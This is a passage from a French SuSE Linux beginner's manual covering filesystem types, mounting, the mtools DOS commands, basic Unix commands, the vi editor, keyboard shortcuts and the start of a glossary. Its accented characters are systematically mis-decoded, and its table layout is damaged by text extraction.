  31956.                               minix             Ce systΦme de fichiers a son origine dans des projets d'en-
  31957.                                                 seignement supΘrieur concernant les systΦmes d'exploitation
  31958.                                                 et  fut  le  premier  systΦme  de  fichiers  utilisΘ  pour  Linux.  └
  31959.                                                 l'heure actuelle, il est surtout utilisΘ sous Linux comme sys-
  31960.                                                 tΦme de fichiers pour disquettes.
  31961.                               msdos             SystΦme de fichiers conτu initialement pour DOS  mais uti-
  31962.                                                 lisΘ aujourd'hui par divers systΦmes d'exploitation.
  31963.                               ncpfs             SystΦme de fichiers pour intΘgrer les volumes Novell.
  31964.                               nfs               Ici, les donnΘes se trouvent sur le disque d'une autre machine
  31965.                                                 et sont rendues accessibles de faτon transparente α travers un
  31966.                                                 rΘseau (angl. Network Filesystem).
  31967.                               proc              SystΦme de fichiers de processus (virtuel).
  31968.                               smbfs             SMB  (angl.  Server  Message  Block)  est  un  protocole  utilisΘ
  31969.                                                 par WfW , Windows NT  et LAN Manager pour mettre α dis-
  31970.                                                 position des fichiers α travers un rΘseau.
  31971.                               sysv              SystΦme de fichiers utilisΘ par SCO-Unix , Xenix et Coherent
  31972.                                                 (systΦmes Unix commerciaux pour PC).
  31973.                               ufs               SystΦme  de  fichiers  utilisΘ  par  BSD ,  SunOS  et  NeXTstep .
  31974.                                                 Ce systΦme de fichiers est supportΘ par Linux uniquement en
  31975.                                                 mode lecture seule (angl. read-only).
  31976.                               umsdos            (angl. Unix on MSDOS) basΘ sur un systΦme de fichiers fat
  31977.                                                 ordinaire,  il  peut  Ωtre  dotΘ,  par  la  crΘation  de  fichiers  spΘ-
  31978.                                                 ciaux, des fonctionnalitΘs Unix (permissions, liens, noms de
  31979.                                                 fichiers longs). Il est toutefois trΦs lent.
  31980.                               vfat              Extension du systΦme de fichiers fat   . Permet d'utiliser des
  31981.                                                 noms de fichiers longs (angl. Virtual FAT ).
  31982.  
  31983.                             _______________________________________________________________________________________________________*
  31984.  *_________
  31985.  
  31986.                                              Tab. 19.8: Types de systΦmes de fichiers sous Linux
  31987.  
  31988.                            19.11.2        Montage et dΘmontage de systΦmes de fichiers
  31989.  
  31990.  
  31991.                            Par  la  commande  mount     ,  exΘcutΘe  normalement  par  le  seul  utilisateur
  31992.                            `root',  un  support  de  donnΘes  est  intΘgrΘ  dans  le  systΦme  de  fichiers
  31993.                            Linux. Ici, mount      requiert deux arguments :
  31994.  
  31995.  
  31996.                              ~   le  nom  du  support  de  donnΘes  (correspondant  au  nom  du  pΘriphΘrique,
  31997.                                  par exemple /dev/hda3)
  31998.  
  31999.                              ~   et un rΘpertoire sous lequel le support de donnΘes doit Ωtre rattachΘ ; ce
  32000.                                  rΘpertoire doit dΘjα exister.
  32001.  
  32002.  
  32003. 500
  32004.        __________________________________________________________19.12.__Commandes_DOS_sous_Unix_avec_mtools_______________________*
  32005.  *______________________
  32006.  
  32007.  
  32008.  
  32009. L'option -t  <type-de-systΦme-de-fichiers>                                indique le type de sys-
  32010. tΦme de fichiers qui doit Ωtre montΘ (voir tableau 19.8 page prΘcΘdente).
  32011. Exemple : l'appel de
  32012.  
  32013.       terre:/  #  mount  -t  msdos  /dev/hda2  /dosa
  32014.  
  32015. met α disposition la partition DOS hda2 sous le rΘpertoire /dosa. Le rΘper-
  32016. toire /dosa doit Ωtre crΘΘ auparavant (voir paragraphe 19.6 page 486).
  32017.  
  32018. Si  certains  pΘriphΘriques  (angl.  devices)  doivent  toujours  Ωtre  montΘs  au
  32019. mΩme  emplacement  dans  le  systΦme  de  fichiers  (par  exemple  le  lecteur  de
  32020. disquettes ou des lecteurs de CD-ROM supplΘmentaires), vous devriez faire
  32021. une  entrΘe  dans  le  fichier  /etc/fstab ;  voir  α  ce  sujet  la  page  de  man  de
  32022. mount      (man  8  mount        ).
  32023.  
  32024. Par  l'option  -r  ,  un  support  de  donnΘes  est  montΘ  en  lecture  seule  (angl.
  32025. read-only). L'Θcriture de donnΘes sur ce support n'est pas autorisΘe. D'autres
  32026. options sont dΘcrites dans la page de man de mount      (man  8  mount        ).
  32027.        _______________________________________________________________________________________________________________________||
  32028.        ||||||||  Si vous voulez Θcrire sur des partitions DOS en tant qu'utilisateur normal                     |||            |
  32029.        ||||||||  (pas sous le compte `root'), informez-vous sur la marche α suivre dans                         ||             |
  32030.        ||||||||                                                                                                 ||             |
  32031.        ||||||||  http://sdb.suse.de/sdb/en/html/kfr_18.html.                                                    ||             |
  32032.        ||||||||_______________________________________________________________________________________________________________||_
  32033.  
  32034. mount       Θtablit  un  protocole  du  systΦme  de  fichiers  montΘ.  Ce  protocole  se
  32035. trouve dans le fichier /etc/mtab. Si mount      est invoquΘ sans arguments, le
  32036. contenu  de  ce  fichier  sera  affichΘ.  C'est  ainsi  que  l'on  obtient  une  liste  de
  32037. tous les fichiers montΘs. Par umount      , un support de donnΘes est supprimΘ du
  32038. systΦme de fichiers Linux7 . Comme argument pour umount      , on peut spΘcifier
  32039. soit le nom du fichier de pΘriphΘrique, soit le nom du rΘpertoire dans lequel
  32040. le support de donnΘes est intΘgrΘ. Pour ``dΘmonter'' par exemple /dev/hda2
  32041. qui se trouve sous /dosa on peut entrer soit
  32042.  
  32043.       terre:  #  umount  /dosa
  32044.  
  32045. soit
  32046.  
  32047.       terre:  #  umount  /dev/hda2
  32048.        _______________________________________________________________________________________________________________________||
  32049.        ||||||||  Dans le cas de systΦmes de fichiers montΘs α partir de disquettes ou autres                    |||            |
  32050.        ||||||||                                                                                                 ||             |
  32051.        ||||||||  supports amovibles, il est essentiel, avant de retirer la disquette, d'exΘcuter                ||             |
  32052.        ||||||||                                                                                                 ||             |
  32053.        ||||||||  la commande umount      .                                                                      ||             |
  32054.        ||||||||  S'il existe encore des fichiers ouverts sur un support de donnΘes montΘ, les                   ||             |
  32055.        ||||||||                                                                                                 ||             |
  32056.        ||||||||  donnΘes seront rΘΘcrites α l'appel de la commande umount      ; si ce n'est pas                ||             |
  32057.        ||||||||  possible, vous recevrez un message d'erreur.                                                   ||             |
  32058.        ||||||||                                                                                                 ||             |
  32059.        ||||||||  Si l'on veut dΘmonter un systΦme de fichiers, il ne doit plus y avoir aucun                    ||             |
  32060.        ||||||||  utilisateur  dans  un  rΘpertoire  (par  exemple  avec  un  shell)  se  trouvant  au           ||             |
  32061.        ||||||||                                                                                                 ||             |
  32062.        ||||||||  dessous du point de montage.                                                                   ||             |
  32063.        ||||||||_______________________________________________________________________________________________________________||_
  32064.  
  32065.  
  32066. 19.12         Commandes DOS sous Unix avec mtools
  32067.  
  32068. Pour  la  manipulation  des  systΦmes  de  fichiers  DOS,  aussi  bien  sur  disque
  32069. dur  que  sur  disquette,  on  dispose  des  mtools  du  paquetage  mtools,  sΘrie
  32070. 7      ____________________________________________________
  32071.    Le nom de la commande Θtait en fait unmount     mais le caractΦre `n' a disparu au cours de
  32072. l'Θvolution du systΦme Unix.
  32073.  
  32074.  
  32075.                                                                                                                                    *
  32076.  *   501
  32077. 19.  DΘbuts sous Linux_____________________________________________________________________________________________________________*
  32078.  *_______________________________________@
  32079.  
  32080.  
  32081.  
  32082.                            ap. Ici, chacun des programmes tente d'Θmuler aussi bien que possible son
  32083.                            Θquivalent sous DOS. Toutes les commandes mtools  ont le mΩme nom que
  32084.                            les commandes correspondantes sous DOS avec un `m' comme prΘfixe, par
  32085.                            exemple mcopy     . mcopy     .
  32086.                            ________________________________________________________________________________________________________*
  32087.  *________
  32088.                            |  Les commandes mtools ne doivent Ωtre utilisΘes que si la disquette n'est                             *
  32089.  *        |||
  32090.                            |                                                                                                       *
  32091.  *        |||
  32092.                            |  pas montΘe !                                                                                         *
  32093.  *        |||
  32094.                            |_______________________________________________________________________________________________________*
  32095.  *________|||_
  32096.  
  32097.                            Les noms de fichiers DOS sont constituΘs d'une lettre de lecteur suivie d'un
  32098.                            double  point,  d'un  sous-rΘpertoire  (optionnel)  ainsi  que  du  nom  de  fichier
  32099.                            proprement dit. Pour sΘparer les sous-rΘpertoires sous DOS, on utilise exclu-
  32100.                            sivement la barre oblique inversΘe `\'.
  32101.  
  32102.                            Avec les mtools  sous Linux, on peut utiliser aussi bien la barre oblique `/'
  32103.                            que la barre oblique inversΘe `\'. Si l'on utilise la barre oblique inversΘe `\'
  32104.                            ou  des  +  wildcards  tels  que  par  exemple  `*'  ou  ` ?',  ceux-ci  doivent  Ωtre
  32105.                            placΘs entre guillemets, sinon ils seraient d'abord interprΘtΘs par le shell et ne
  32106.                            parviendraient pas jusqu'α la commande mtools .
  32107.  
  32108.                            L'astΘrisque  simple  `*'  correspond  pour  mtools  α  la  suite  de  caractΦres
  32109.                            `*.*'.  Au  lieu  de  la  traditionnelle  barre  oblique  `/'  qui  sert  α  passer  des
  32110.                            paramΦtres sous DOS, on utilise sous Linux le signe de soustraction `-'.
  32111.  
  32112.                            Le  lecteur  standard  pour  mtools  est  le  premier  lecteur  de  disquettes  (sous
  32113.                            DOS  `a  :')  et  mtools       prend  le  rΘpertoire  racine  de  la  disquette  a  :\
  32114.                            comme rΘpertoire par dΘfaut. Si un autre rΘpertoire doit Ωtre utilisΘ, changez
  32115.                            au moyen de mcd   . N'oubliez pas, avant d'insΘrer une autre disquette, de re-
  32116.                            tourner dans le rΘpertoire racine du support de donnΘes sinon aucune nouvelle
  32117.                            arborescence des rΘpertoires ne pourra Ωtre lue.
  32118.  
  32119.                            Voici les commandes (DOS) couramment supportΘes par mtools :
  32120.  
  32121.                             _______________________________________________________________________________________________________*
  32122.  *_________
  32123.  
  32124.                               mattrib             Modification   des   attributs   des   fichiers   DOS   (hidden      ,
  32125.                                                   system     , etc.).
  32126.                               mcd                 Changement de rΘpertoire.
  32127.                               mcopy               Copier depuis/vers DOS vers/depuis Unix, aussi de maniΦre
  32128.                                                   rΘcursive. Notez que vous ne devez pas oublier d'indiquer
  32129.                                                   ici la destination.
  32130.                               mdel                Effacement d'un fichier DOS.
  32131.                               mdeltree            Effacement rΘcursif d'un rΘpertoire DOS.
  32132.                               mdir                Affichage d'un rΘpertoire DOS.
  32133.                               mformat             CrΘation  d'un  systΦme  de  fichiers  DOS  sur  une  disquette
  32134.                                                   formatΘe bas niveau. Le formatage de bas niveau se fait par
  32135.                                                   la commande fdformat       .
  32136.                               mlabel              Renommer un support de donnΘes DOS.
  32137.                               mmd                 CrΘation d'un sous-rΘpertoire DOS.
  32138.                               mrd                 Effacement d'un sous-rΘpertoire DOS.
  32139.                               mread               Lecture d'un fichier DOS dans un systΦme Unix.
  32140.  
  32141.                             _______________________________________________________________________________________________________*
  32142.  *_________
  32143.  
  32144.                                                      Tab. 19.9: Continuer α la page suivante...
  32145.  
  32146.  
  32147. 502
  32148.        _______________________________________________________________19.13.__Vue_d'ensemble_des_commandes_Unix____________________*
  32149.  *______________________
  32150.  
  32151.        ______________________________________________________________________________________________________________________
  32152.  
  32153.  
  32154.    mren                Renommer un fichier DOS existant.
  32155.    mtype               Affiche le contenu d'un fichier DOS.
  32156.    mwrite              Copie  bas  niveau  d'un  fichier  Unix  sur  un  systΦme  de  fi-
  32157.                        chiers DOS.
  32158.  
  32159.        ______________________________________________________________________________________________________________________
  32160.  
  32161.                        Tab. 19.9: Commandes du paquetage mtools
  32162. Par dΘfaut, il est prΘsumΘ que le pΘriphΘrique a: est un lecteur de disquettes
  32163. 3.5  pouces  et  le  pΘriphΘrique  B:  un  lecteur  de  disquettes  5.25  pouces.  Les
  32164. formats  de  disquettes  720  Ko  et  1.44  Mo  ou  360  Ko  et  1.2  Mo  sont  ici
  32165. supportΘs.
  32166.  
  32167. Dans  /etc/mtools.conf,  il  est  possible  de  modifier  ces  paramΦtres  par
  32168. dΘfaut. Les entrΘes sont rΘparties chacune dans une ligne de la faτon suivante :
  32169.  
  32170.   ~   Nom de lecteur (sous DOS), par exemple a:
  32171.  
  32172.   ~   Fichier de pΘriphΘrique (Linux), par exemple /dev/fd0
  32173.  
  32174.   ~   NumΘro identificateur (12 pour lecteur de disquettes, 16 pour disque dur)
  32175.  
  32176.   ~   Nombre de pistes, tΩtes et secteurs
  32177.  
  32178. Une modification des paramΦtres permet d'utiliser deux lecteurs de disquettes
  32179. 3.5 pouces. On ne devrait toutefois pas spΘcifier deux fois la mΩme lettre de
  32180. lecteur DOS ou le mΩme fichier de pΘriphΘrique.
  32181.  
  32182.  
  32183.  
  32184. 19.13         Vue d'ensemble des commandes Unix
  32185.  
  32186. Les commandes les plus importantes sont listΘes dans le tableau 19.10 page
  32187. suivante ; les paramΦtres optionnels sont indiquΘs entre crochets `[]'.
  32188.  
  32189.        ______________________________________________________________________________________________________________________
  32190.  
  32191.    cd  repert                                                      Passe    dans    le    rΘpertoire
  32192.                                                                    repert.
  32193.    cd  ..                                                          Passe dans le rΘpertoire pΦre.
  32194.    cd  /repert                                                     Passe    dans    le    rΘpertoire
  32195.                                                                    /repert.
  32196.    cd  [  ]                                                        Passe dans le rΘpertoire utili-
  32197.                                                                    sateur.
  32198.    cp  fichiersource  fichiercible                                 Copie  fichiersource  vers
  32199.                                                                    fichiercible.
  32200.  
  32201.        ______________________________________________________________________________________________________________________
  32202.  
  32203.                          Tab. 19.10: Continuer α la page suivante...
  32204.  
  32205.                                                                                                                                    *
  32206.  *   503
  32207. 19.  DΘbuts sous Linux_____________________________________________________________________________________________________________*
  32208.  *_______________________________________@
  32209.  
  32210.                             _______________________________________________________________________________________________________*
  32211.  *_________
  32212.  
  32213.  
  32214.                               ln  [-s]  rΘfΘrence  nom                                        CrΘe, dans le rΘpertoire cou-
  32215.                                                                                               rant,   le   lien   [symbolique]
  32216.                                                                                               nom  pointant  sur  le  fichier
  32217.                                                                                               rΘfΘrence.nom   spΘcifie   le
  32218.                                                                                               chemin dans lequel le fichier
  32219.                                                                                               recherchΘ   pourra   Ωtre   re-
  32220.                                                                                               trouvΘ.  Seuls  des  liens  sym-
  32221.                                                                                               boliques  peuvent  Ωtre  crΘΘs
  32222.                                                                                               α  travers  diffΘrents  systΦmes
  32223.                                                                                               de  fichiers.  Les  liens  sym-
  32224.                                                                                               boliques peuvent mΩme faire
  32225.                                                                                               rΘfΘrence α des rΘpertoires.
  32226.                               ls  [repert]                                                    Liste  tous  les  fichiers  et  rΘ-
  32227.                                                                                               pertoires  dans  le  rΘpertoire
  32228.                                                                                               repert   (uniquement   noms
  32229.                                                                                               de fichiers).
  32230.                               ls  -l  [repert]                                                Liste  tous  les  fichiers  et  rΘ-
  32231.                                                                                               pertoires  dans  le  rΘpertoire
  32232.                                                                                               repert  (affichage  long  dΘ-
  32233.                                                                                               taillΘ).  Sans  paramΦtres  :  le
  32234.                                                                                               contenu  du  rΘpertoire  cou-
  32235.                                                                                               rant.
  32236.                               ls  -a  [repert]                                                Affiche   aussi   les   fichiers
  32237.                                                                                               cachΘs,   (par   exemple   ~/
  32238.                                                                                               .xinitrc).
  32239.                               mkdir  nouveaurepert                                            CrΘe          le          rΘpertoire
  32240.                                                                                               nouveaurepert.
  32241.                               less  fichier                                                   Affiche  un  fichier  page  par
  32242.                                                                                               page   (dΘfilement   en   avant
  32243.                                                                                               avec la barre_d'espace, en ar-
  32244.                                                                                               riΦre avec |b_ |).
  32245.                               mv  defichier  versfichier                                      DΘplace  un  fichier  ou  le  re-
  32246.                                                                                               nomme.
  32247.                               rm  fichier                                                     Efface  fichier  (y  compris
  32248.                                                                                               les liens !).
  32249.                               rm  -r  repert                                                  Effacement   rΘcursif   du   rΘ-
  32250.                                                                                               pertoire  repert  (avec  sous-
  32251.                                                                                               rΘpertoires.
  32252.                               rmdir  repert                                                   Efface  le  rΘpertoire  repert
  32253.                                                                                               (s'il est vide).
  32254.  
  32255.                             _______________________________________________________________________________________________________*
  32256.  *_________
  32257.  
  32258.                                      Tab. 19.10: Vue d'ensemble des principales commandes Unix
  32259.                            Dans  le  tableau  19.11  page  ci-contre,  vous  trouverez  quelques  commandes
  32260.                            qui vous aideront α effectuer des recherches.
  32261. 504
  32262.        ___________________________________________________________________________________________________19.14.__Pour_terminer____*
  32263.  *______________________
  32264.  
  32265.        ______________________________________________________________________________________________________________________
  32266.  
  32267.  
  32268.    find  .  -name  "fichier"                    Recherche  fichier  dans  tous  les  sous-
  32269.                                                 rΘpertoires du rΘpertoire courant.
  32270.    find  .  -name  "*emil*"                     Recherche  tous  les  fichiers  dont  le  nom
  32271.                                                 contient la chaεne de caractΦres `emil'.
  32272.    commande  man                                Donne une description de commande       .
  32273.    grep  chaεnes  fichiers                      Recherche   dans   tous   les   fichiers   la
  32274.                                                 `chaεne'   spΘcifiΘe   qui   peut   bien   s√r
  32275.                                                 contenir    des    ``expressions    rΘguliΦres''
  32276.                                                 (voir   paragraphe   19.7.2   page   488   ou
  32277.                                                 man  regexp        ).
  32278.  
  32279.  
  32280.  
  32281.        ______________________________________________________________________________________________________________________
  32282.  
  32283.                     Tab. 19.11: Aperτu des commandes de recherche
  32284. 19.14         Pour terminer
  32285.  
  32286. Les rΘpertoires gΘnΘraux de commandes sous Linux sont :
  32287.  
  32288.   ~   /bin
  32289.  
  32290.   ~   /sbin
  32291.  
  32292.   ~   /usr/bin
  32293.  
  32294.   ~   /usr/sbin
  32295.  
  32296.   ~   /usr/X11R6/bin
  32297.  
  32298. Vous y trouverez encore de nombreuses autres commandes.
  32299.  
  32300. Avec man  <commande>              , vous obtiendrez des informations dΘtaillΘes sur les
  32301. commandes et programmes disponibles, α condition bien s√r qu'il existe une
  32302. page  de  man  (voir  paragraphe  19.9  page  494).  La  sortie  est  dirigΘe  vers  le
  32303. pΘriphΘrique de sortie standard (en gΘnΘral l'Θcran).
  32304.  
  32305. └ l'aide des pipes, symbolisΘs dans la ligne d'invite du shell par le caractΦre
  32306. `|',  vous  pouvez  faire  ces  sorties  directement  sur  l'imprimante  ou,  le  cas
  32307. ΘchΘant, les faire Θcrire directement dans des fichiers.
  32308.  
  32309. Exemple :
  32310.  
  32311. Vous voulez faire imprimer la page de man se rapportant α la commande ls  .
  32312. Pour cela, vous devez taper :
  32313.  
  32314.       tux@terre:  >  man  -t  ls  |  lpr
  32315.  
  32316. Vous trouverez des introductions aux pages de man classΘes par thΦmes dans
  32317. le  systΦme  d'aide  hypertexte  de  votre  SuSE     Linux.  Lancez  simplement  la
  32318. commande susehelp       . Vous avez aussi la possibilitΘ de suivre les hyperliens
  32319. vers d'autres pages de man.
  32320.  
  32321.                                                                                                                                    *
  32322.  *   505
  32323. 19.  DΘbuts sous Linux_____________________________________________________________________________________________________________*
  32324.  *_______________________________________@
  32325.  
  32326.  
  32327.  
  32328.                            19.15         L'Θditeur vi
  32329.                            L'utilisation de vi  demande une certaine habitude. Nous lui donnons toutefois
  32330.  
  32331.                            ici la prΘfΘrence par rapport α d'autres Θditeurs car d'une part il est disponible
  32332.                            sur tout systΦme de type Unix et fait partie d'une installation Linux standard
  32333.                            et d'autre part son mode d'utilisation est clair et ne prΩte en gΘnΘral α aucune
  32334.                            confusion. De plus : lorsque rien ne va, on peut compter sur vi  .
  32335.  
  32336.                            Les  instructions  succinctes  qui  vont  suivre  devraient  vous  permettre  par
  32337.                            exemple d'Θditer divers fichiers de configuration α l'aide de vi  .
  32338.  
  32339.                            Concept :
  32340.  
  32341.                            vi   connaεt 3 modes de fonctionnement :
  32342.  
  32343.                              ~   Mode commande (angl. command mode)
  32344.  
  32345.                                  Chaque  pression  de  touche  est  interprΘtΘe  comme  partie  d'une  com-
  32346.                                  mande.
  32347.  
  32348.                              ~   Mode insertion (angl. insert mode)
  32349.  
  32350.                                  Les pressions de touches sont interprΘtΘes comme entrΘes de texte.
  32351.  
  32352.                              ~   Mode commande complexe (angl. last line mode)
  32353.  
  32354.                                  Pour commandes plus complexes ΘditΘes dans la derniΦre ligne.
  32355.  
  32356.                            Principales commandes du mode commande :
  32357.  
  32358.                             _______________________________________________________________________________________________________*
  32359.  *_________
  32360.  
  32361.                               i       passe en mode insertion (les caractΦres sont insΘrΘs avant le curseur
  32362.                                       courant).
  32363.                               a       passe en mode insertion (les caractΦres sont insΘrΘs aprΦs le curseur
  32364.                                       courant).
  32365.                               A       passe  en  mode  insertion  (les  caractΦres  sont  insΘrΘs  α  la  fin  de  la
  32366.                                       ligne)
  32367.                               R       passe en mode insertion (l'ancien texte est remplacΘ).
  32368.                               r       passe en mode insertion pour remplacer un seul caractΦre.
  32369.                               s       passe en mode insertion (le caractΦre sur lequel le curseur est posi-
  32370.                                       tionnΘ est remplacΘ par l'entrΘe).
  32371.                               C       passe  en  mode  insertion  (le  reste  de  la  ligne  est  remplacΘ  par  le
  32372.                                       nouveau texte.
  32373.                               o       passe  en  mode  insertion  (une  nouvelle  ligne  est  insΘrΘe  aprΦs  la
  32374.                                       ligne courante.
  32375.                               O       passe  en  mode  insertion  (une  nouvelle  ligne  est  insΘrΘe  avant  la
  32376.                                       ligne courante.
  32377.                               x       efface le caractΦre courant.
  32378.                               dd      efface la ligne courante.
  32379.                               dw      efface jusqu'α la fin du mot courant.
  32380.                               cw      passe en mode insertion (le reste du mot courant est remplacΘ par
  32381.                                       l'entrΘe).
  32382.                               u       annule la derniΦre entrΘe.
  32383.  
  32384.                             _______________________________________________________________________________________________________*
  32385.  *_________
  32386.  
  32387.                                                     Tab. 19.12: Continuer α la page suivante...
  32388.  
  32389.  
  32390. 506
  32391.        _______________________________________________________________________________________________________19.15.__L'Θditeur_vi_*
  32392.  *______________________
  32393.  
  32394.        ______________________________________________________________________________________________________________________
  32395.  
  32396.  
  32397.    J        concatΦne la ligne suivante α la ligne courante.
  32398.    .        rΘpΦte la derniΦre commande.
  32399.      :      passe en mode commande complexe.
  32400.  
  32401.        ______________________________________________________________________________________________________________________
  32402.  
  32403.                      Tab. 19.12: Commandes simples de l'Θditeur vi
  32404. Toutes  les  commandes  peuvent  Ωtre  prΘcΘdΘes  d'un  chiffre  qui  indique  le
  32405. nombre d'objets auquels la commande doit se rapporter. L'entrΘe de `3dw'
  32406. provoque l'effacement de trois mots α la fois. Par l'entrΘe de `10x', on pro-
  32407. voque l'effacement de dix caractΦres α partir de l'endroit o∙ est positionnΘ le
  32408. curseur et avec `20dd' on efface vingt lignes.
  32409.  
  32410. Principales commandes du mode commande complexe :
  32411.  
  32412.        ______________________________________________________________________________________________________________________
  32413.  
  32414.      :q !                             quitte vi , sans sauvegarder les modifications
  32415.      :w  <fichier>                    sauvegarde sous <fichier>
  32416.      :x                               sauvegarde le fichier modifiΘ et quitte l'Θditeur
  32417.      :e  <fichier>                    Θdite (charge) <fichier>
  32418.      :u                               annule la derniΦre commande d'Θdition
  32419.  
  32420.        ______________________________________________________________________________________________________________________
  32421.  
  32422.                    Tab. 19.13: Commandes complexes de l'Θditeur vi
  32423. En appuyant sur la touche |E________|chap, on passe du mode insertion au mode co-
  32424. mande.
  32425.  
  32426.  
  32427.  
  32428.                                                                                                                                    *
  32429.  *   507
  32430. 19.  DΘbuts sous Linux_____________________________________________________________________________________________________________*
  32431.  *_______________________________________@
  32432.  
  32433. 508
  32434.  
  32435.                                                                                                            Annexe  A
  32436.                                          Combinaisons   de   touches
  32437.  
  32438.  
  32439.  
  32440.                                                                                             importantes
  32441.  
  32442.  
  32443. Quelques unes des combinaisons de touches utiles et importantes.
  32444.  
  32445.        _______________________________________________________________________________________________________________________
  32446.  
  32447.        |||||__
  32448.     _- ___|___                           En ligne de commande, exΘcution d'une com-
  32449.                                          mande. Autrement, retour α la ligne.
  32450.     Alt||||||__+ |F___|_1-|F___|_6       Passage α une autre console (en mode texte).
  32451.        |||||____     ____       ___     ___
  32452.     Ctr____|____l+ |A____l|t+ |F___|1-|F___|6Sous  X11  et  Dosemu  :  Passage  α  l'une  des
  32453.                                          consoles virtuelles.
  32454.     Alt||||||__+ |F___|_7                Retour α X11.
  32455.        |||||____         ____
  32456.     Ctr____|____l+_____|A____l|t_  +     Quitter X11.
  32457.     Bac|||||_______|____kspace
  32458.        |||||_______     _________
  32459.     Maj_______|____.+ *|_________|Page  ─ ffichage   des   pages   d'Θcran   prΘcΘdentes.
  32460.                                          Fonctionne  jusqu'au  moment  o∙  l'on  change
  32461.                                          de console.
  32462.     Maj|||||__|_____.+ *|_________|_Page I#nverse de |M__________|aj.+ *|_________|_Page. "
  32463.        |||||_
  32464.     "  ||__                              Affiche la commande prΘcΘdente dans la ligne
  32465.                                          de commande actuelle
  32466.     #  ||||||__                          Sous le shell, produit l'effet inverse de |"__|.
  32467.        |||||_______        ____
  32468.     Maj_______|____.+_*  |A____l|t  +    Sous X11 : Passage, dans l'Θcran virtuel, α la
  32469.     Cur|||||__|____sor                   plus  proche  fenΩtre  situΘe  dans  le  sens  de  la
  32470.  
  32471.                                          flΦche. Le nombre de fenΩtres disponibles est
  32472.                                          dΘterminΘ dans .fvwm[2]rc          par le paramΦtre
  32473.                                          DeskTopSize          .
  32474.     Ctr||||||____l+     |A_____|lt  +    Change  la  rΘsolution  de  l'Θcran  selon  l'ordre
  32475.        |||||_________
  32476.      (g_________|____ris)                des  entrΘes  faites  pour  le  mode  Θcran  dans
  32477.                                          /etc/XF86Config.
  32478.     Ctr||||||____l+ |D__|                DΘconnexion.   Correspond   α   la   commande
  32479.  
  32480.                                          exit    .     EntrΘe     dans     /etc/profile     :
  32481.                                          ignoreeof=x          .   x    indique   le   nombre   de
  32482.                                          rΘpΘtitions nΘcessaires pour que la commande
  32483.                                          devienne active.
  32484.  
  32485.        _______________________________________________________________________________________________________________________
  32486.                                                 Tab. A.1:
  32487.  
  32488.  
  32489.  
  32490.                                                                                                                                    *
  32491.  *   509
  32492. A.  Combinaisons de_touches_importantes____________________________________________________________________________________________*
  32493.  *_______________________________________@
  32494.  
  32495. 510
  32496.  
  32497.                                                                                                             Annexe  B
  32498.                                                                                                        Glossaire
  32499.  
  32500.  
  32501. Dans  ce  glossaire,  nous  nous  sommes  limitΘs  α  dΘfinir  les  expressions  ou
  32502. abrΘviations spΘcifiques α UNIX  ou α Linux car le nombre de pages ne nous
  32503. permet pas une introduction approfondie au traitement Θlectronique des don-
  32504. nΘes. Le lecteur du prΘsent glossaire devrait donc dΘjα Ωtre familiarisΘ avec
  32505. des termes tels que bit et octet.
  32506.  
  32507.  
  32508.   Acronyme
  32509.       Les  abrΘviations  qui  se  prononcent  comme  un  seul  mot  sont  dΘsignΘes
  32510.       sous le nom d'acronymes. +  Linux, +  GNU et +  RAM sont des acronymes
  32511.       bien connus.
  32512.  
  32513.   Administrateur systΦme (angl. system administrator, root user)
  32514.       C'est  la  personne  qui,  dans  un  systΦme  complexe  ou  un  rΘseau,  se
  32515.       charge des configurations et de la maintenance. L'administrateur systΦme
  32516.       (`root') est le seul a avoir accΦs α toutes les ressources d'un systΦme (il
  32517.       possΦde les droits root).
  32518.  
  32519.   Adresse IP
  32520.       Adresse Internet 32 bits, habituellement en notation dΘcimale, sous forme
  32521.       de quatre nombres sΘparΘs par des points (par exemple 192.168.10.1) ex-
  32522.       pressΘment assignΘe α une machine connectΘe au rΘseau. Si une machine
  32523.       possΦde plusieurs connexions rΘseau (passerelle, (angl. gateway)), elle a
  32524.       aussi plusieurs adresses IP.
  32525.  
  32526.   Alias
  32527.       Le plus frΘquemment, on emploie le terme alias en relation avec le +  shell
  32528.       (interprΘteur  de  commandes).  Avec  un  alias,  on  peut  abrΘger  des  com-
  32529.       mandes longues ou trΦs souvent utilisΘes. Voyez α ce sujet le paragraphe
  32530.       concernant la manipulation de l'interprΘteur de commandes.
  32531.  
  32532.   Amorτage
  32533.       L'amorτage (appelΘ aussi boot) dΘsigne le processus de chargement d'un
  32534.       systΦme, α partir de l'allumage de la machine jusqu'au moment o∙ le sys-
  32535.       tΦme  est  α  la  disposition  de  l'utilisateur.  Sous  Linux,  on  entend  par  ce
  32536.       terme le lancement du noyau et le ``dΘmarrage'' des services du systΦme
  32537.       qui s'annoncent par le message `uncompressing  linux...' et se ter-
  32538.       minent par l'invite `login  :'.
  32539.  
  32540.   ATAPI
  32541.       ATAPI est une interface conτue pour piloter et contr⌠ler les pΘriphΘriques
  32542.  
  32543.  
  32544.                                                                                                                                    *
  32545.  *   511
  32546. B.  Glossaire     _________________________________________________________________________________________________________________*
  32547.  *_______________________________________@
  32548.  
  32549.  
  32550.  
  32551.                                  connectΘs  α  un  contr⌠leur  (E)IDE.  Les  lecteurs  de  CD-ROM  ATAPI
  32552.                                  (+  Lecteur de CD-ROM)               sont  particuliΦrement  rΘpandus.  Mais  il  existe
  32553.                                  aussi maintenant des lecteurs Zip, des lecteurs de bandes (angl. streamers)
  32554.                                  et des lecteurs de disquettes qui fonctionnent α l'aide de cette interface.
  32555.                                  Tous ces pΘriphΘriques sont supportΘs par Linux.
  32556.  
  32557.                              Backup
  32558.                                  Backup est le mot anglais pour les copies de sauvegarde. On devrait faire
  32559.                                  rΘguliΦrement  des  copies  de  sauvegarde,  particuliΦrement  pour  les  don-
  32560.                                  nΘes importantes. Certaines configurations de programmes (trΦs souvent
  32561.                                  rΘalisΘes  avec  beaucoup  de  peine)  mΘritent  Θgalement  d'Ωtre  sauvegar-
  32562.                                  dΘes. Sous Linux, la technique fondamentale de sauvegarde des donnΘes
  32563.                                  sur un +  pΘriphΘrique est l'exΘcution de la commande tar   . TrΦs souvent,
  32564.                                  tar   est utilisΘ conjointement α gzip    .
  32565.  
  32566.                              BIOS (angl. Basic Input Output System)
  32567.                                  Chaque PC possΦde une petite zone de mΘmoire dans laquelle est enre-
  32568.                                  gistrΘ  ce  que  l'on  appelle  le  BIOS.  Le  BIOS  contient  des  programmes
  32569.                                  d'initialisation et de test pour le dΘmarrage du systΦme ainsi que quelques
  32570.                                  pilotes (relativement simples) pour les pΘriphΘriques essentiels : clavier,
  32571.                                  carte vidΘo, lecteurs, interfaces, horloge. Sous Linux, le BIOS n'est pas
